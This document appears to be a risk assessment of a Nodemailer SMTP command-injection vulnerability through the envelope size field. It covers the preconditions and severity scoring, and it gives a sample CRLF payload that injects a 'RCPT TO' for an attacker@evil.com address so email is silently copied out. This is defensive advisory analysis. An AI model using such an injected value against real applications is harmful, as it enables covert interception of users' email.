Nodemailer CVE-2026-82854

Exploitation requires the target application to (1) pass a custom envelope object to sendMail() rather than relying on the default auto-constructed envelope, AND (2) populate that envelope's size property from attacker-controllable input. Nodemailer never sets size in its default envelope, so out-of-the-box usage is not exploitable - this is the primary limiting factor. The injected value must contain CRLF (\r\n), and the target SMTP server must advertise the SIZE ESMTP extension (the code only appends SIZE= when _supportedExtensions includes 'SIZE'). No authentication to Nodemailer itself is needed and no user interaction is required, but the non-default envelope-exposure configuration sharply narrows the affected population.

The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) yields a 9.3 critical score, but that figure assumes the vulnerable code path is reachable, which it is not by default: the description and advisory both state the application must explicitly pass a custom envelope with a size property sourced from attacker-controlled input. That precondition is a meaningful limiter and, in my assessment, warrants higher attack complexity than the vendor vector reflects. No EPSS score, KEV listing, or SSVC decision data was provided, and the flaw is not in CISA KEV, so this reads as a real-but-conditional issue rather than a mass-exploited one - priority is high for the subset of apps that expose envelope configuration and low for the majority using defaults. Given Nodemailer's enormous deployment footprint, any team that lets users influence envelope fields should treat patching as urgent, even though the raw 9.3 overstates risk for default deployments. The realistic impact - silent recipient injection and email content exfiltration/redirection - is serious where the condition holds.

An application lets users configure mail-sending parameters (e.g., a form or API that maps to the envelope) and forwards a size field into Nodemailer's custom envelope. The attacker submits a size value like '1000\r\nRCPT TO:<attacker@evil.com>', which terminates MAIL FROM and injects an extra recipient so a copy of every affected outgoing email is silently delivered to the attacker. A functional PoC (a local SMTP listener that logs the injected commands) is published in the GHSA advisory; exploitation is network-facing and low-effort once the app exposes envelope.size.